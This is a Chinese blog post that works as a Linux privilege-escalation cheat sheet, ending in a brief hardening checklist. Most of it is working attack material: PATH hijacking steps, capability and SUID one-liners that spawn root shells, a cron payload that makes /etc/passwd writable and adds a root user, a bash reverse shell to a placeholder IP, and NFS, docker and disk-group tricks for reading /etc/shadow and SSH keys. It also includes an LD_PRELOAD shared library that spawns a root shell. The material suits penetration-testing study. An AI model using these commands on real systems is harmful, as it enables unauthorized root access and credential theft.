Linux提权
测试思路
-
命令
uname -a
查看内核版本,searchsploit
搜索一下内核版本查看有无内核漏洞 -
命令
sudo -l
查看sudo提权 -
cat /etc/crontab;利用
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
命令查看可写文件或目录 -
利用
find / -type f -perm -04000 -ls 2>/dev/null
查看SUID权限的工具find / -uid 0 -perm -6000 -type f 2>/dev/null
;该命令用于在 Linux 系统中查找具有设置了 Setuid 或 Setgid 位的文件,并且所有者为 root 用户,以普通文件的形式显示它们。 -
识别nfs共享,可以利用nmap工具或rpcinfo等工具
-
config信息搜集:find / ! -path "/proc/" -iname "config" -type f 2>/dev/null
使用环境变量进行提权
前置知识
首先要知Linux的PATH变量,我感觉和windows的环境变量是一样的,在任意位置执行命令时会从$PATH的路径中查找可执行文件。
输入echo $PATH
可以查看环境变量,一般会有../../../bin。
需要注意的是如果环境变量中带有".",则意味着可以在当前目录中查找可执行文件,在当前目录就不用加上./执行文件了
前提条件:
- 需要找到的文件具有SUID权限
- 该文件调用了某命令
流程
-
查看系统具有SUID或4000权限的文件
find / -perm -u=s -type f 2>/dev/null
-
找到并运行提权目标文件,查看指令
-
确定目标指令后,建立一个虚假的环境变量,该环境变量实际导向/bin/sh
cd /tmp echo "/bin/sh" >sudo chmod 777 sudo echo $PATH export PATH=/tmp:$PATH cd 具有SUID权限文件路径 ./文件名 whoami
内核提权
脏牛提权(CVE-2016–5195)
原理
Linux内核子系统在进行Copy-in-write时存在条件竞争,破坏私有只读内存映射,导致低权限用户对其他只读内存映射有写权限。
影响范围
内核版本
Linux kernel >= 2.6.22
发行版本
Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
工具使用
https://github.com/gbonacini/CVE-2016-5195
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
https://github.com/jondonas/linux-exploit-suggester-2
sudo提权
原理
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
在sudoers中增加以下内容,可以使用户user_test可以从任何终端运行,以root用户身份运行命令find 而无需密码。
user_test ALL = (root) NOPASSWD: /usr/bin/find
利用
-
使用sudo -l查看可利用的sudo权限工具
-
在https://gtfobins.github.io/搜索对应的工具名称,利用页面中的提示进行提权
suid提权
当运行一个程序时,我们需要拥有运行该程序的权限,比如apt-get install
。但有些程序例外,例如ping
,ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping)
,可以发现其权限是-rwsr-xr-x
,其中有个s位,这就是suid:Set owner User ID up on execution
root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
原理
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping
这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。(前提是这个程序的所有者是root用户)
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
利用:
- 使用命令查看本机中拥有suid权限的程序文件:find / -user root -perm -4000 -print 2>/dev/null
- 利用工具查询可利用的程序文件
sudo与suid权限的区别:
sudo 和 Setuid 权限(SUID)都可以使普通用户以特权权限执行程序,但它们之间存在一些关键区别:
特权范围:SUID 权限作用于单个可执行文件,并在执行该文件时赋予执行者与文件所有者相同的特权。这意味着文件的拥有者权限将用于执行,不论执行者是谁。而 sudo 允许管理员使用配置文件中定义的规则,对选择的命令或脚本进行精确控制,只在需要时提供超级用户权限。
配置和授权:设置 SUID 权限需要更改文件的权限位,并选择性地为文件分配 SUID 标志。只有文件所有者可以设置和删除 SUID 权限。而 sudo 的使用可以通过系统管理员配置,允许授权的用户执行特定的命令,并且可以按照需要控制和修改这些授权。
安全性:由于 SUID 权限应用于整个文件,必须非常小心确保所设置的文件不会导致潜在的安全漏洞。因为执行者运行的代码具有特权级别的访问权限,滥用或不当配置可能会导致系统被攻击者利用。相比之下,sudo 具有更细粒度的控制,可以限制用户可执行的命令及其参数,提供了更高的安全性。
总而言之,SUID 权限适用于静态文件,并以文件所有者特权运行程序,而 sudo 提供了动态和灵活的权限管理方式,对命令和脚本执行进行精确控制,可避免一些常见的安全问题。在实践中,推荐使用 sudo 作为较好的特权执行方案,并恰当地配置和监督其使用。
举个例子:
Capabilities提权
Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。
-
利用
getcap -r / 2>/dev/null
查看设置了capabilities的可执行文件 -
利用命令提权,可以参考GTFOBins(有些命令不适合所有终端)
# gbd的利用方法 ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit #node的利用方法 ./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})' #perl的利用方法 ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' #php的利用方法 ./php -r "posix_setuid(0); system('/bin/sh');" #pythond的利用方法 ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' #ruby的利用方法 ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' #rview的利用方法 ./rview -c ':lua os.execute("reset; exec sh")' #rvim的利用方法 ./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #view的利用方法 ./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #vim的利用方法 ./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #vimdiff的利用方法 ./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
计划任务提权
定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或者脚本。cron 是 Linux 系统中最为实用的工具之一,但是也可能被黑客用于提权操作。由于cron通常以root特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用root权限执行任意代码。本文首先配置一个定时任务,然后利用该任务进行提权。
示例1
查看crontab文件:cat /etc/crontab,发现存在定时任务,以root身份定时运行/home/ubuntu/test.py。而test.py文件是任意成员可写的,于是向其代码尾部追加以下内容:
import os
import sys
import stat
try:
os.chmod(“/etc/passwd”,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO) # 将passwd文件权限设置为任意成员可写
except:
sys.exit()
生成hash
perl -le ‘print crypt(“hack”,“addedsalt”)’
adCP9//qaScc2
写入passwd
hack:adCP9//qaScc2:0:0:User_like_root:/root:/bin/bash
示例2
修改可执行的bash或sh文件
#!/bin/bash
/bin/bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1
nfs提权
网络文件系统(NFS)是一个客户端 / 服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
NFS 是基于 UDP/IP 协议的应用,其实现主要是采用远程过程调用 RPC 机制,RPC 提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC 采用了 XDR 的支持。XDR 是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
利用先遣条件:no_root_squash
选项得开启
-
识别nfs共享,可以利用nmap工具或rpcinfo等工具
nmap -sV -p111,2049 IP #nmap扫描nfs的常用端口111和2049 rpcinfo -p 192.168.1.171 #rpcinfo直接枚举nfs
-
-
检查nfs配置文件
/etc/exports
,检查开启的nsf共享目录和no_root_squash
选项设置 -
利用metasploit或showmount列举目标主机的可用nfs exports
msf > use auxiliary/scanner/nfs/nfsmount msf auxiliary(nfsmount) > set rhosts IP msf auxiliary(nfsmount) > run
showmount -e IP
-
-
挂载nfs exports
sudo mount -o [options] -t nfs ip_address:share directory_to_mount
-
编写脚本,写入想执行的命令。可以是
/bin/bash
或C语言等脚本例子:
-
C语言脚本
#include<unistd.h> void main() { setuid(0); setgid(0); system("/bin/bash"); }
-
python脚本
/usr/bin/python3 import os import sys try: os.system("/bin/bash") except: sys.exit()
-
-
chmod +s 文件添加suid权限
特权组提权
Docker提权
docker组的本质就是无密码root身份访问主机文件
利用命令docker run -v /root:/mnt -it ubuntu
可以创建一个新的docker实例,以主机的/root
目录作为系统卷启动。
容器启动后可以查看该目录内容或添加ssh密钥,更改为其他目录均可,可以结合/etc/shadow破解或添加sudoers等。
Disk提权
Disk组用户对/dev
目录具有root权限
利用debugfs -rw /dev/sda2
可以利用debugfs的root权限访问文件系统
debugfs -rw /dev/sda2
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
ADM提权
ADM组在Linux中用于系统监控任务,组内的用户可以读取/var/log
的日志文件。
主要用来收集存储在日志文件中的敏感数据或枚举用户操作和运行 CronJobs。
共享库提权
Linux 程序通常使用动态链接的共享对象库。库包含已编译的代码或开发人员用来避免跨多个程序重写相同的代码段的其他数据。Linux 中存在两种类型的库:(
static libraries
由 .a 文件扩展名表示)和dynamically linked shared object libraries
(由 .so 文件扩展名表示)。编译程序时,静态库成为程序的一部分,无法更改。但是,可以修改动态库以控制调用它们的程序的执行。有多种方法可以指定动态库的位置,因此系统将知道在程序执行时在哪里查找它们。这包括编译程序时的
-rpath
or-rpath-link
标志,使用环境变量LD_RUN_PATH
orLD_LIBRARY_PATH
,将库放置在/lib
or/usr/lib
默认目录中,或者在/etc/ld.so.conf
配置文件中指定包含库的另一个目录。此外,
LD_PRELOAD
环境变量可以在执行二进制文件之前加载库。此库中的函数优先于默认函数。
提权的先遣条件,被劫持的命令或程序必须具有较高的权限(以root运行、SUID或SUDO等)。同时在/etc/sudoers
文件中需要定义env_keep+=LD_PRELOAD
-
确认一个可以用高权限执行的程序或命令
-
编写脚本,c语言等
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
对其编译为
.so
动态文件,gcc -fPIC -shared -o root.so root.c -nostartfiles
-
高权限运行程序或命令,指定对应的恶意文件库,
sudo LD_PRELOAD=/tmp/root.so 程序或命令
Linux的加固
更新和补丁
老版本的Linux内核和内置命令或第三方服务,通常存在利用条件简单的提权漏洞。对这些服务的定期更新和删除使用会避免一部分提权行为。
配置管理
- 自查主机内的可写文件、目录和使用SUID、SGID设置的可执行文件
- 确保所有的CronJob和sudo权限的分配都使用绝对路径指定可执行文件
- 不将任何凭证以明文方式存储在低权限用户可读的文件中
- 及时清理目录的文件和bash历史
- 确保低权限用户不能修改程序调用的任何自定义共享库
- 删除任何可能增加攻击面的软件和服务
用户管理
- 限制主机用户和管理员账户的数量
- 记录和监控对于登陆的尝试,无论成功与否
- 利用PAM模块的
/etc/security/opasswd
执行强密码策略、定期更换密码和限制用户重复使用旧密码操作。 - 避免用户被分配到日常任务所不必需的权限组,尽可能以最小权限原则分配限制sudo权限
- 便于管理可以使用自动化配置管理工具等
参考链接:
https://xz.aliyun.com/t/11664#toc-3
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
https://www.cnblogs.com/f-carey/p/16026088.html
https://blog.nsfocus.net/linux/
标签:bin,文件,sudo,提权,Linux,权限,root From: https://www.cnblogs.com/vitara/p/17743673.html